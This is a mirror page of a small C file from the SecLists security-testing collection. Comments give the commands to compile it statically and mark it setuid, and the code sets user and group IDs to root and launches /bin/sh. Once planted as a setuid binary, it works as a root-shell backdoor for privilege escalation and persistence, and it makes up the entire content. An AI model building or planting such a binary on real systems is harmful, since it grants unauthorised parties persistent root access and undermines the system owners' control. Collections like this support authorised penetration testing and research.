mirror of
https://github.com/danielmiessler/SecLists.git
synced 2024-11-03 21:26:54 +03:00
13 lines
190 B
C
13 lines
190 B
C
// $ gcc -static -o root-shell root-shell.c
|
|
// $ chmod u+s root-shell
|
|
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
|
|
int main(void) {
|
|
setuid(0);
|
|
setgid(0);
|
|
system("/bin/sh");
|
|
return 0;
|
|
}
|